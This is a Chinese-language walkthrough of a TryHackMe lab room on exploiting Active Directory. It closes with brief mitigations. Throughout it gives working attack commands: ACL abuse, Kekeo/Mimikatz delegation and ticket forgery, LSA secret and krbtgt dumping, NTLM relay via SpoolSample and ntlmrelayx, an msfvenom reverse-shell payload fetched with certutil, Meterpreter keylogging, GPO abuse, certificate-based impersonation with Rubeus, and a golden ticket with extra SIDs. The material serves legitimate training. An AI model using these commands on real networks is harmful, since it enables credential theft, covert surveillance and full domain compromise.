TryHackMe-进攻性渗透测试-14_活动目录利用

Exploiting Active Directory

AD利用

现在我们已经进行了内部侦察，并了解了有关AD结构和环境的土地布局，是时候进入开发阶段了。此阶段利用错误配置来执行横向移动和权限提升的组合，直到我们到达合适的位置来执行我们的目标，如下图所示。这个阶段通常与坚持相结合，以确保我们不会失去我们获得的新位置，但这将在下一个房间中介绍。它通常也与额外的枚举相结合，因为我们的新位置可能允许我们获得有关土地布局的其他信息。

---

Active Directory 可以通过称为权限委派的功能委派权限和特权（不要与下一个任务中将讨论的 Kerberos 委派混淆）。授权是AD在组织中如此强大的原因。想象一下，我们为一个拥有 50000 名员工的组织工作。由于我们关心安全性，因此我们只有三个用户可以访问 DA 凭据。这三个用户不可能处理来自用户的所有请求，例如重置其密码。使用委派，我们可以将强制更改用户密码的权限委派给支持团队，这意味着他们现在具有此特定功能的委派权限。原则上，为了保证授权的安全，应遵循最小特权原则。然而，在大型组织中，这说起来容易做起来难。在此任务中，我们将研究如何利用一些委派错误配置。

权限委派

权限委派攻击通常称为基于 ACL 的攻击。AD 允许管理员配置填充任意访问控制列表 （DACL） 的访问控制项 （ACE），因此称为基于 ACL 的攻击。几乎任何 AD 对象都可以使用 ACE 进行保护，然后 ACE 描述任何其他 AD 对象对目标对象具有的允许和拒绝的权限。

但是，如果这些 ACE 配置错误，则攻击者可能会利用它们。让我们再次看一下我们的示例。如果 IT 支持团队被授予域用户组的强制更改密码 ACE，这将被视为不安全。当然，他们将能够重置忘记密码的员工的密码，但这种错误配置将允许他们重置特权帐户的密码，例如作为域管理员组成员的帐户，基本上允许权限提升。

利用 ACE

大量 ACE 可能配置错误，并且每个 ACE 的攻击各不相同。寻血猎犬文档有助于解释枚举的 ACE 以及如何利用它们。但是，我们将在这里看看几个值得注意的：

ForceChangePassword: 我们可以在不知道用户当前密码的情况下设置用户的当前密码。
AddMembers: 我们能够将用户（包括我们自己的帐户）、组或计算机添加到目标组。
GenericAll: 我们可以完全控制对象，包括更改用户密码、注册 SPN 或将 AD 对象添加到目标组的能力.
GenericWrite: 我们可以更新目标对象的任何不受保护的参数。例如，这可以允许我们更新 scriptPath 参数，这将导致脚本在用户下次登录时执行.
WriteOwner: 我们有能力更新目标对象的所有者。我们可以使自己成为所有者，从而允许我们获得对对象的额外权限.
WriteDACL:我们能够将新的 ACE 写入目标对象的 DACL。例如，我们可以编写一个 ACE，授予我们的帐户对目标对象的完全控制权。
AllExtendedRights: 我们能够对目标对象执行与扩展 AD 权限相关的任何操作。例如，这包括强制更改用户密码的功能.

为了利用这些 ACE，我们需要一种与 AD 交互以发出这些请求的方法。两个最佳选择是AD-RSAT PowerShell cmdlet或PowerSploit。根据环境中的漏洞和检测工具，一种选择可能更隐蔽。在此任务中，我们将同时展示两者。

添加成员

此攻击路径的第一步是将我们的 AD 帐户添加到 IT 支持组。为此，我们将使用 AD-RSAT 工具集中的 Add-ADGroupMember PowerShell cmdlet。在 THMJMP1 主机上启动 PowerShell（在 RDP 中或通过 SSH 启动），然后运行以下命令以添加您的帐户：

PS C:\>Add-ADGroupMember "IT Support" -Members "Your.AD.Account.Username"

强制更改密码

现在我们是 IT 支持组的成员，我们已经继承了第 2 层管理员组的强制更改密码权限委派。首先，我们需要确定该组的成员以选择目标。我们可以再次使用 Get-ADGroupMember cmdlet 来帮助解决此问题：

PS C:\>Get-ADGroupMember -Identity "Tier 2 Admins"

---

Kerberos Delegation

Kerberos 委派的实际用途是使应用程序能够访问托管在不同服务器上的资源。例如，Web 服务器需要访问它所承载的 Web 应用程序的数据库服务器上托管的 SQL 数据库。如果没有委派，我们可能会使用 AD 服务帐户并为其提供对数据库的直接访问权限。在 Web 应用程序上发出请求时，将使用服务帐户向数据库进行身份验证并恢复信息。

但是，我们可以允许将此服务帐户委派给 SQL Server 服务。用户登录到我们的 Web 应用程序后，服务帐户将代表该用户请求访问数据库。这意味着用户只能访问他们具有相关权限的数据库中的数据，而不必向服务帐户本身提供任何数据库权限或权限。

约束与无约束

有两种类型的 Kerberos 委派。在 Kerberos 委派的原始实现中，使用了不受约束的委派，这是最不安全的方法。实质上，不受约束的委派对委派没有限制。在后台，如果设置了“TRUSTED_FOR_DELEGATION”标志的用户向配置了无约束委派的主机进行身份验证，则会生成该用户帐户的票证授予票证 （TGT） 并将其存储在内存中，以便以后可以在需要时使用它。假设攻击者可以危害启用了无约束委派的主机。在这种情况下，他们可以尝试强制特权帐户向主机进行身份验证，这将允许他们拦截生成的 TGT 并模拟特权服务。如果您想查看利用无约束委派的示例，请查看此处。

为了解决无约束委派的安全缺陷，Microsoft 在 2003 年引入了约束委派。约束委派限制帐户可以委派给的服务，从而限制帐户遭到入侵时的风险。以下是可以为委派配置的服务示例：

HTTP - 用于 Web 应用程序，以允许使用 AD 凭据进行直通身份验证。
CIFS - 通用互联网文件系统用于文件共享，允许委派用户共享。
LDAP - 用于委派给 LDAP 服务执行重置用户密码等操作。
Host - 允许为主机上的所有活动委派帐户。
MSSQL - 允许将用户帐户委派给 SQL 服务，以便对数据库进行传递身份验证。

利用约束委派通常比利用无约束委派更复杂，因为委派帐户不能仅用于所有内容。但是，它仍然可以用于一些强大的利用。例如，如果我们能够破坏配置了约束委派的 AD 帐户。通过知道此帐户的纯文本密码甚至只是 NTLM 哈希，我们可以为此帐户生成 TGT，然后使用 TGT 为任何非敏感用户帐户执行票证授予服务器 （TGS） 请求，以便以该用户身份访问服务。例如，假设模拟一个有权访问敏感数据库的帐户。

基于资源的约束委派

因此，实际上有三种类型的 Kerberos 委派。但这个值得单独提及。Microsoft 于 2012 年推出的基于资源的约束委派 （RBCD） 再次为 Kerberos 委派提供了额外的安全限制。RBCD 完全改变了授权模式。现在，服务不再指定哪个对象可以委派给哪个服务，而是指定哪些对象可以委派给它。这允许服务所有者控制谁可以访问它。在我们的 Web 应用程序示例中，这意味着我们现在可以指定允许 Web 服务帐户委派对数据库的访问权限，而不是指定 Web 服务帐户可以委托给数据库服务来访问数据库。

假设我们有权为服务配置 RBCD。这意味着我们能够为 AD 对象设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。我们可以用我们有权访问的 AD 帐户的详细信息填充此属性。要现在获得对该服务的访问权限，我们可以为我们控制的帐户生成一个 TGT，这将使我们能够与此服务进行交互。

受约束的委派利用

我们将利用约束委派来完成此任务。我们需要做的第一件事是枚举可用的委派。让我们将新的特权用户用于网络几个命令。我们可以通过运行以下命令将 PowerSploit 的 Get-NetUser cmdlet 用于此枚举：

PS C:\>Import-Module C:\Tools\PowerView.ps1 
PS C:\>Get-NetUser -TrustedToAuth

根据此命令的输出，我们可以看到 svcIIS 帐户可以在 THMSERVER1 上委派 HTTP 和 WSMAN 服务。您可能会认为这意味着我们只能代表冒充用户访问网站。但是，PowerShell Remoting也使用HTTP和WSMAN服务。理想的选择是模拟第 1 层管理员，因为这将为我们提供对 THMSERVER1 的管理访问权限。

如果要对 THMWRK1 执行正确的利用后枚举，您会发现主机上有一个服务以 svcIIS 用户身份运行。由于我们现在具有管理访问权限，因此我们可以使用它来转储LSASecrets，这是Windows注册表配置单元的一部分，其中存储了Windows服务等功能的凭据。让我们使用 Mimikatz 来转储秘密：

mimikatz # token::elevate
mimikatz # lsadump::secrets

token::elevate - 若要从注册表配置单元转储机密，我们需要模拟 SYSTEM 用户。

lsadump::secrets - Mimikatz 与注册表配置单元交互以提取明文凭据。

现在我们可以访问与 svcIIS 帐户关联的密码，我们可以执行 Kerberos 委派攻击。我们将使用Kekeo和Mimikatz的组合。您可以为 Mimikatz 使用另一个窗口，但请确保在命令后退出 Mimikatz，否则票证稍后将在错误的上下文中加载。我们将使用 Kekeo 生成我们的票证，然后使用 Mimikatz 将这些票证加载到内存中。让我们从生成票证开始：token::elevate

我们首先需要使用kekeo生成一个可用于生成 HTTP 和 WSMAN 服务票证的 TGT：

kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:redacted

参数说明：

user - 具有受约束委派权限的用户。
domain - 我们正在攻击的域，因为 Kekeo 可用于伪造票证以滥用跨林信任。
password - 与 svcIIS 帐户关联的密码。

现在，我们有了可以执行委派的帐户的 TGT，我们可以为要模拟的帐户伪造 TGS 请求。我们需要为 HTTP 和 WSMAN 执行此操作，以允许我们在 THMSERVER1 上创建 PSSession：

kekeo # tgs::s4u /tgt:<刚刚生成的TGT> /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc 

参数说明：

tgt - 我们提供在上一步中生成的 TGT。
user - 我们要模拟的用户。由于t2_帐户对工作站具有管理访问权限，因此可以安全地假设t1_帐户对服务器具有管理访问权限，因此请选择要模拟的t1_帐户。
service - 我们希望使用委派模拟的服务。我们首先为 HTTP 服务生成一个 TGS。然后，我们可以为 WSMAN 服务重新运行相同的命令。

再次运行该命令，这次是针对 WSMAN 服务。现在我们有了两张TGS票，我们可以用Mimikatz导入它们了：

mimikatz # privilege::debug

mimikatz # kerberos::ptt <刚刚生成的TGS>

mimikatz # kerberos::ptt <刚刚生成的TGS>

mimikatz# exit

使用klist命令验证是否已导入：

klist

针对winRM，我们使用前面横向移动学的cmdlet进行建立powershell会话：

Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc

---

在此任务中，我们将介绍一些自动继电器。身份验证尝试不断在网络上飞行，如违规AD房间所示，如果我们幸运的话，我们可以拦截其中一些挑战以获得访问权限。但是，如果我们不喜欢等待呢？如果我们可以强制进行身份验证怎么办？

尽管我们已经拥有对 THMSERVER1 的特权访问权限，但我们可能处于无法访问受约束委派攻击的位置。这是另一种出色的攻击，可以执行该攻击以获得对主机的特权访问。

计算机帐户

所有 Windows 主机都有一个计算机帐户。实质上，这是与计算机关联的用户帐户。除非有人篡改了主机的帐户，否则这些帐户的密码是无法破解的。默认情况下，它们的长度为 120 个字符 （UTF16），每 30 天自动轮换一次。

在AD中，这些计算机帐户在不同的服务中被大量使用。不同的域控制器使用其计算机帐户来同步 AD 更新和更改。当您代表您正在使用的主机请求证书时，该主机的计算机帐户将用于对 AD 证书服务进行身份验证。

AD 中有一个例外情况，其中一台计算机对另一台计算机具有管理员权限。实质上，在 AD 配置中，对一个主机的管理权限已授予另一个主机。同样，这是预期功能，例如必须同步的域控制器或 SQL 群集。但是，这些实例为强制身份验证提供了非常有趣的攻击媒介。

我们首先需要确定计算机帐户对另一台计算机具有管理访问权限的情况。我们可以为此使用Bloodhound，但这意味着我们将不得不编写一些自定义密码查询。单击BloodHound中“分析”选项卡中的“创建自定义查询”：

我们要编写以下查询：

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

此查询将尝试查找一台计算机与另一台计算机具有“AdminTo”关系的实例。您应该看到类似于以下内容的输出

打印机错误

这不是一个错误，而是一个功能 - 微软。

说真的，当这被报道时，微软回应说这是一个功能。打印机错误是 MS-RPRN 协议（打印系统远程协议）的“功能”，它允许域用户远程强制运行打印后台处理程序服务的目标主机对任意 IP 地址进行身份验证。近年来出现了一些这样的错误：Spooler，PetitPotam，PrintNightmare。微软声称唯一的错误是其中一些根本不需要AD凭据，但此问题已通过安全补丁解决。

因此，要利用这一点，除了计算机帐户管理权限外，我们还需要满足以下四个条件：

1.一组有效的 AD 帐户凭据。
2.与目标的 SMB 服务的网络连接。
3.目标主机必须运行后台打印程序服务。
4.主机不得强制实施 SMB 签名。

条件 1 和 2 已满足。我们只需要确保工作的两个是条件3和4。

打印后台处理程序服务

我们需要确定打印后台处理程序服务是否正在运行。由于我们无法访问 THMSERVER2，因此我们需要从网络角度进行查询。在这种情况下，我们可以使用 THMWRK1 上 SSH 会话中的 WMI 查询来查询服务的当前状态：

Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc

SMB签名

为了中继强制身份验证尝试，不应强制实施 SMB 签名。应该注意的是，允许 SMB 签名和强制实施 SMB 签名之间存在差异。由于某些旧系统不支持 SMB 签名，因此默认情况下，SMB 的配置是允许但不强制签名，这意味着只有在支持的情况下才会使用它。由于我们将托管恶意 SMB 服务器，因此我们可以确保我们的服务器不支持签名，从而强制目标不对 SMB 身份验证尝试进行签名。

要验证 THMSERVER1 和 THMSERVER2 没有强制实施 SMB 签名，我们可以在 AttackBox 上使用 Nmap：

nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc

可以看到 SMB 签名已启用，但未根据输出强制执行。这意味着我们所有的条件都得到了满足，我们可以开始攻击了！

利用身份验证中继

我们将使用 SpoolSample 来利用身份验证中继。这是一个 C# 漏洞，但已经为您编译并存储在 THMWRK1 的目录中。我们将使用 Spoolsample.exe 强制 THMSERVER2 在我们的 AttackBox 上向我们进行身份验证，然后使用 Impacket 的 ntlmrelayx.py 来中继身份验证尝试 THMSERVER1。请注意，如果您使用的是自己的虚拟机，则需要确保拥有支持 SMBv2 的 Impacket 的更新版本。

第一步是设置 NTLM 中继。在我们的攻击框上，我们可以使用以下内容：

thm@thm:~# python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -debug

如果我们指定 THMSERVER1 的主机名而不是 IP，主机可能会请求我们使用 Kerberos 身份验证而不是 NTLM。因此，我们应该指定 IP。通过中继侦听，我们现在可以强制 THMSERVER2 向我们进行身份验证。在 THMWRK1 上的 SSH 终端中，执行以下操作：

SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"

您的攻击者 IP 应与网络的 tunX 接口相对应。如果一切顺利，您应该已收到身份验证尝试和到 THMSERVER1 的中继。

thm$ python3.9 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -c 'whoami /all' -debug

---

到目前为止，我们的开发已经走得很远了。我们对工作站和服务器具有完全的管理访问权限。从本质上讲，我们几乎可以在任何第 1 层和第 2 层系统上执行后开发。但我们仍然想走得更远。下一个任务也可以被视为后开发，但当我们仍在执行开发以达到目标执行的合适位置时，这通常是一件好事。现在是我们瞄准AD用户的时候了。

用户和用户行为

未来的工厂将只有两名员工。一个人和一个狗。人类将在那里喂狗。如果狗试图触摸某些东西，它们会在那里咬人。- 沃伦·本尼斯

不幸的是，用户往往是安全链中最薄弱的环节。想想弱密码和坏习惯，例如授予过于宽松的权限。忽视这个攻击面将是无知和无效的。虽然构建针对 AD 用户的适当枚举和攻击方法很好，但在此任务中，我们将重点关注两个元素：

凭据管理 - 用户如何存储其凭据。在AD中，这非常重要，因为用户可能拥有多组凭据，并且记住所有凭据可能会很麻烦。
键盘记录 - 通常，在利用期间，我们需要了解普通用户如何与系统交互。与屏幕截图一起，键盘记录可以成为从攻击者的角度获得这种理解的有用工具。

寻找凭据

现在我们已经破坏了 THMSERVER1，我们可能应该环顾四周，看看是否有任何有用的信息。查看用户目录，看看其中是否有一些有用的信息。

枚举工作应将您引导至 .kdbx 文件。快速谷歌应该证实我们的怀疑，这个文件确实非常有价值！我们可以使用Meterpreter的下载命令来恢复此文件。

此文件似乎是一个凭据数据库。但是，问题是数据库是使用密码加密的。我们可以尝试破解密码，但任何使用凭据数据库的人通常都有精明的头脑来确保初始密码是安全的。我们可能会更成功地看到用户如何与此数据库交互。

系统有时太有特权了

Meterpreter有一个内置的键盘记录器。这对于提取用户的击键很有用。但是，我们不能只是启动这个键盘记录器并希望最好，因为我们的 shell 当前在 SYSTEM 上下文中运行。系统不会键入任何击键，因此这对我们没有帮助。要捕获正确的用户凭据，我们需要确保我们的 shell 在该用户的上下文中运行。

幸运的是，Meterpreter 为我们提供了迁移功能，并且由于我们作为 SYSTEM 运行，我们应该能够迁移到任何进程。你在 THMSERVER1 上执行了远程代码，使用它来获取 Meterpreter shell。如果您需要回顾一下如何使用Meterpreter和Metasploit，这里有一个关于其使用的模块。 但是，若要快速了解，可以使用以下命令生成 PowerShell 计量器有效负载：

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=exploitad LPORT="Listening port" -f psh -o shell.ps1

然后，还可以使用以下命令在 msfconsole 中创建关联的侦听器：

sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST exploitad; set LPORT "listening port'; exploit"

您可以使用Python Web服务器托管meterpreter shell，然后使用如下所示的内容进行复制：

certutil.exe -urlcache -split -f http:///shell.ps1

一旦你有一个米壳，你就可以继续了。第一步是查看用户在此计算机上是否有任何正在运行的进程：

ps

看来我们很幸运！用户在 THMSERVER1 上具有活动会话。让我们迁移到此用户的进程。最安全的选择通常是像探险家一样.exe：

meterpreter\>migrate 3612

现在我们准备启动我们的键盘记录器：

meterpreter\>keyscan_start

现在我们必须耐心等待。如果幸运的话，我们会获得一些凭据！给它几分钟，然后运行以下命令以转储捕获的击键：

meterpreter\>keyscan_dump

---

用户记录键盘记录允许我们解密他们的凭据数据库，为我们提供可用于进一步实现AD利用目标的凭据，即svcServMan帐户。我们需要执行一些枚举来确定这些凭据的用途。幸运的是，我们已经有了可以使用的Sharphound数据。使用Bloodhound中的搜索功能，让我们查看发现的帐户具有的权限：

对于此帐户，有一个权限特别突出，即对组策略对象 （GPO） 的所有权。此外，当我们进行一些调查时，似乎此 GPO 已应用于我们的 THMSERVER2 机器：

这可能为我们提供进一步开发AD的理想机会！

组策略对象

还记得我们在枚举 AD 中讨论 SYSVOL 目录吗？这是存储要复制到已加入域的计算机的 AD GPO 的目录。GPO 是策略设置的虚拟集合。每个 GPO 都有一个唯一的名称，称为 GUID。这就是为什么如果您尝试读取 SYSVOL 目录的内容，那么所有随机名称都没有多大意义。

每台 Windows 计算机都有一个本地策略配置。这包含几个值得注意的配置，例如：

防火墙、防病毒和应用锁定器等服务的应用程序配置。
本地组成员身份，例如管理员或远程桌面用户组。
启动配置，例如应执行的脚本。
安全和协议设置，例如 SMBv1 支持。
这些只是几个例子。可以设置大量配置选项。

组策略管理

如果只有一台 Windows 计算机，则很容易直接在主机上更改本地策略配置。但是，您需要一种机制来从大型组织中的中心位置部署配置。这就是组策略管理 （GPM） 发挥作用的地方。GPM 允许我们直接在 AD 结构上定义策略，而不是在每台计算机上本地定义策略。本质上，我们可以为 AD 对象定义 GPO，例如特定的 OU 或组。

然后，加入域的计算机将定期从 SYSVOL 中提取所有策略并应用相关策略。默认情况下，策略通过 gpupdate 应用程序每 15 分钟复制一次。但是，我们也可以从命令提示符手动执行此应用程序以立即应用策略。

尽管有几种方法可以利用 GPO，但我们将坚持使用简单的解决方案，将我们控制的 AD 帐户添加到本地管理员和本地远程桌面用户组。这将允许我们在 THMSERVER2 上的管理权限和 RDP 的能力。我们也可以使用公开的SSH端口，但是没有多少组织升级到提供SSH访问。因此，RDP 访问或传统的横向移动技术（如 SMBExec）更安全。

为了修改 GPO，我们需要以具有相关权限的 AD 用户身份访问组策略管理。我们可以以用户身份通过 RDP 进入 THMSERVER1，但这可能会将用户踢出其活动会话，从而引起怀疑。相反，我们将使用普通或第 2 层管理员帐户将 RDP 到 THMWRK1，使用 runas 命令将 AD 用户的凭据注入内存，然后打开 MMC 以修改 GPO。有关 runas 命令的概述，请参阅枚举 AD 房间;但是，此处还提供了所需的命令，应从管理命令提示符窗口执行该命令：

C:\>runas /netonly /user:za.tryhackme.loc\ cmd.exe

出现提示后，提供与帐户关联的密码。要验证您提供的凭据是否正确，可以运行 。在新生成的命令提示符窗口中，我们可以启动 Microsoft 管理控制台：dir \\za.tryhackme.loc\sysvol

C:\>mmc

现在，我们要添加“组策略管理”管理单元：

单击“文件”->“添加/删除管理单元”
选择“组策略管理”管理单元，然后单击“添加”
单击“确定”
现在，您应该能够看到 za.tryhackme.com 域的 GPO：

现在，我们可以导航到用户有权修改的 GPO（服务器>管理服务器>管理服务器推送）。

我们可以右键单击 GPO 并选择编辑。这将打开新的组策略管理编辑器窗口。

为了将我们的帐户添加到本地组，我们需要执行以下步骤：

展开“计算机配置”
展开策略
展开窗口设置
展开安全设置
右键单击受限制的组，然后选择添加组（如果 IT 支持组已存在，则表示有人已经执行了漏洞利用。您可以删除它以自行创建它，也可以只检查它以查看配置的内容。
单击浏览，输入 IT 支持，然后单击检查名称
单击“确定”两次

不使用第一个筛选器。对于第二个筛选器，我们希望同时添加管理员和远程桌面用户组。最后，它应该看起来像这样：

配置完成后，我们可以单击“应用”和“确定”。现在，我们需要做的就是等待最多 15 分钟以应用 GPO。在此之后，我们成为 IT 支持 t 组成员的初始帐户现在将拥有 THMSERVER2 的管理和 RDP 权限！

如果rdp登录不上可以用ssh

---

利用证书

AD证书服务

AD Certificate Services （CS） 是 Microsoft 的公钥基础结构 （PKI） 实现。 由于AD在组织中提供了一定程度的信任，因此它可以用作 用于证明和委托信任的 CA。AD CS用于几件事，例如 作为加密文件系统，创建和验证数字签名， 甚至用户身份验证，使其成为一个有前途的途径 攻击。

由于 AD CS 是一个特权函数，它通常运行在 选定的域控制器。这意味着普通用户无法真正互动 直接使用服务。在硬币的另一面，组织 往往太大，无法让管理员创建和分发每个 手动证书。这就是证书模板的用武之地。 AD CS 的管理员可以创建多个模板，这些模板可以允许任何 具有自行请求证书的相关权限的用户。 这些模板具有指示哪个用户可以请求 证书和所需内容。SpecterOps发现 这些参数的特定组合可能具有难以置信的毒性，并被滥用于权限提升和持久访问。

在我们深入研究证书滥用之前，请先介绍一些术语：

PKI - 公钥基础结构是管理证书和公钥加密的系统
AD CS - Active Directory Certificate Services是Microsoft的PKI实现，通常在域控制器上运行
CA - 证书颁发机构是颁发证书的 PKI
证书模板 - 设置和策略的集合，用于定义 CA 颁发证书的方式和时间
CSR - 证书签名请求是发送到 CA 以请求签名证书的消息
EKU - 扩展/增强型密钥用法是定义如何使用生成的证书的对象标识符

查找易受攻击的证书模板 为了查找易受攻击的模板
，我们将使用 Windows 的内置工具 certutil。使用 THMSERVER2 上的 RDP 访问权限，我们可以运行以下 Powershell 脚本来枚举证书：

C:\>certutil -Template -v > templates.txt

这将提供所有已配置模板的输出。我们还可以使用证书审计工具，例如Ghostpack的PSPKIAudit。但是，手动方法使我们能够确保找到所有可能的错误配置。如果参数值的组合变得有害，则证书模板将被视为配置错误，从而允许请求者执行权限提升。在我们的例子中，我们正在寻找具有以下有毒参数组合的模板：

客户端身份验证 - 证书可用于客户端身份验证。
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - 证书模板允许我们指定使用者备用名称 （SAN）。
CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - 证书可以使用私钥导出。
证书权限 - 我们具有使用证书模板所需的权限。

如果您有兴趣了解有关有毒参数组合的更多信息，请阅读SpecterOps的白皮书。由于本会议室的目的是更广泛地了解AD利用攻击，因此我们将指出Template[32]是易受攻击的模板。在此模板中，我们可以看到 THMSERVER2 的机器帐户可以为模板颁发 CSR，该模板允许我们指定主题备用名称 （SAN） 并可用于客户端身份验证。

SpecterOps 提到了 AD CS 的八个常见安全错误配置，因此应该注意的是，仍然可以找到大量潜在的错误配置。

利用证书模板

使用 THMSERVER2 上的 RDP 访问，我们现在将请求我们的证书。如果您使用 Remmina 并保存 RDP 连接的配置，请确保禁用受限管理模式。我们将使用微软管理控制台 （MMC）：

单击启动>运行
键入 mmc 并按回车键
单击“文件->添加/删除管理单元”。
添加“证书”管理单元，并确保在提示下选择“计算机帐户”和“本地计算机”。
单击“确定”

我们将要求提供个人证明：

右键单击个人并选择所有任务 - >请求新证书...
单击“下一步”两次以选择 AD 注册策略。
您将看到我们有一个可以请求的模板，但首先，我们需要提供其他信息。
单击“更多信息”警告。
将“使用者名称类型”选项更改为“公用名”并提供任何值（因为它无关紧要），然后单击“添加”。
将“备用名称类型”选项更改为“用户主体名称”。
提供要模拟的用户的 UPN。最好是DA帐户，例如[email protected]，然后单击添加。

满意后，单击“应用”和“确定”。然后，选择证书并单击注册。您应该能够看到您的证书：

最后一步是使用私钥导出我们的证书：

右键单击证书，然后选择所有任务 - >导出...
单击下一步，选择是，导出私钥，然后单击下一步。
单击下一步，然后为证书设置密码，因为如果没有密码，则无法导出私钥。
单击下一步，然后选择存储证书的位置。
单击下一步，最后单击完成。

通过证书进行用户模拟

现在我们终于可以模拟用户了。要执行此操作，需要两个步骤：

使用证书请求 Kerberos 票证授予票证 （TGT）
将 Kerberos TGT 加载到您选择的黑客平台中
第一步，我们将使用 Rubeus。目录中提供了已编译的版本。打开命令提示符窗口并导航到此目录。我们将使用以下命令来请求 TGT：

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile: /domain:za.tryhackme.loc /dc:

让我们分解参数：

/user - 这指定我们将模拟的用户，并且必须与我们生成的证书的 UPN 匹配
/enctype - 指定票证的加密类型。将此设置为 对于逃避很重要，因为默认加密算法很弱， 这将导致哈希超交桥警报
/certificate - 我们生成的证书的路径
/password - 证书文件的密码
/outfile - 我们的 TGT 将输出到的文件
/domain - 我们当前攻击的域的 FQDN
/dc - 我们从中请求 TGT 的域控制器的 IP。 通常最好选择运行 CA 服务的 DC

现在我们可以使用Mimikatz加载TGT并向THMDC进行身份验证：

mimikatz # privilege::debug
mimikatz # kerberos::ptt 
mimikatz # exit

使用klist命令可查看tgt是否已注入

然后登录到dc：

PS C:\Users\paula.bailey> Enter-PSSession -ComputerName thmdc.za.tryhackme.loc

---

域名信任

如 AD 基础知识室中所述，林是 AD 网络中一个或多个域树的集合。域信任是用户的一种机制 以访问域中的其他资源。对于 大多数情况下，信任概述了林中的域如何 相互沟通。在某些环境中，可以扩展信任 在某些情况下，甚至到外部域甚至森林。

可以在域之间配置两种主要类型的信任：

定向 - 信任的方向从信任域流向受信任域
可传递 - 信任关系从两个域扩展到包括其他受信任域

在林中具有根域或父域是很常见的。在我们的例子中，这是TRYHACKME.LOC。对于每个区域办事处，将创建子域或子域，例如ZA。叮叮当当。LOC 或英国。TRYHACKME.LOC.此林配置将允许 ZA 和英国办事处之间共享资源。例如，如果英国办公室中的某个用户需要访问 THMSERVER1，我们可以为 ZA 域中的用户授予访问权限。此权限委派之所以有效，是因为 ZA 和根域与 UK 和根域之间存在双向信任，实质上是在 ZA 和英国之间创建可传递信任。

如上所述，父域和子域之间的信任是双向的。这是预期行为，用于通过更大的可传递信任关系共享资源。但是，作为攻击者，如果我们入侵了子域，我们也可以利用此信任来破坏父域。

KRBTGT和黄金票证

KRBTGT是用于微软实施Kerberos的帐户。该名称源自 Kerberos （KRB） 和 Ticket Grant Ticket（TGT）。实质上，此帐户充当 Kerberos 分发中心 （KDC） 服务的服务帐户，该服务处理所有 Kerberos 票证请求。此帐户用于加密和签署域的所有 Kerberos 票证。由于密码哈希由所有域控制器共享，因此当用户请求访问资源时，它们可以验证收到的 TGT 的真实性。

但是，如果我们想生成自己的 TGT 来授予我们访问所有内容的权限怎么办？这被称为黄金票证攻击。在黄金票证攻击中，我们完全绕过KDC并创建自己的TGT，本质上成为票证授予服务器（TGS）。为了伪造TGT，我们需要以下信息：

1.域的 FQDN
2.域的安全标识符 （SID）
3.我们要模拟的帐户的用户名
4.KRBTGT 密码哈希

前三个通常很容易恢复。最后一个需要域泄露，因为 KRBTGT 密码哈希仅存储在域控制器上。幸运的是，我们刚刚使用伪造证书破坏了第 0 层管理员组，因此我们能够恢复 KRBTGT 密码哈希。

我们将再次使用带有 DC Sync 的 Mimikatz 来恢复 THMSERVER2 上的 KRBTGT 密码哈希：

mimikatz # privilege::debug
mimikatz # lsadump::dcsync /user:za\krbtgt

领域间 TGT

使用 KRBTGT 密码哈希，我们现在可以伪造黄金票证来访问子域中的任何资源。这也将在持久 AD 房间中更详细地讨论。但是，我们可以通过打造 Inter-Realm TGT 来更进一步。 Inter-Realm TGT 用于提供对其他域中资源的访问。在我们的例子中，我们希望利用子域和父域之间的双向信任关系来获得对父域的完全访问权限。

当我们构建黄金票证来执行此漏洞时，我们将包含来自其他域的额外帐户 SID。Mimikatz可以对此提供帮助，允许我们设置Kerberos TGT KERB_VALIDATION_INFO结构的ExtraSids部分。ExtraSids 部分描述为“指向KERB_SID_AND_ATTRIBUTES结构列表的指针，这些结构包含与主体所属帐户域以外的域中的组对应的 SID 列表”。

这里的关键是，我们将通过将企业管理员 （EA） 组的 SID 作为额外的 SID 添加到子域域控制器的伪造票证中，来利用父域与子域的信任。EA 组属于父域，该组的成员身份实质上授予对整个林的管理权限！此组的默认 SID 为 S-1-5-21-<根域>-519。

在进行利用之前，我们首先需要恢复两个 SID：

子域控制器 （THMDC） 的 SID，我们将在伪造的 TGT 中模拟它
父域中企业管理员的 SID，我们将将其作为额外的 SID 添加到伪造的 TGT 中

若要恢复这些 SID，我们可以使用 AD-RSAT Powershell cmdlet。我们可以使用以下命令恢复子域控制器的 SID：

Get-ADComputer -Identity "THMDC"
Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc

利用域信任

我们终于拥有了创建伪造TGT所需的所有信息。我们将使用Mimikatz来生成这张黄金票。该命令将如下所示：

mimikatz # privilege::debug
mimikatz # kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid: /service:krbtgt /rc4: /sids: /ptt

---

利用AD需要时间来掌握，所使用的技术将在很大程度上取决于被攻击的AD结构的配置。要了解的最重要的事情是该过程是循环的。在大多数情况下，我们将无法运行单个引导至根漏洞来为我们提供 DA 访问权限。最好的方法是执行进一步访问的利用，然后使用已获得的访问权限再次执行枚举，从这个新位置寻找可能的其他攻击路径。

缓解措施

AD 利用（如 AD 枚举）非常难以防御。这是因为可能被视为可被利用的错误配置具有实际的业务案例。但是，我们可以做一些事情来防止利用：

1.我们需要确保没有配置破坏我们的分层模型。较低层中的帐户不应能够与较高层中的资源进行交互。此外，较高层的帐户不应登录到较低层中的资源。
2.执行权限委派时应遵循最小特权原则。此外，权限委派应遵循分层模型，确保较低层的对象无法更改较高层的对象。
3.应强制实施 SMB 签名，而不仅仅是启用。这将防止凭据中继尝试。
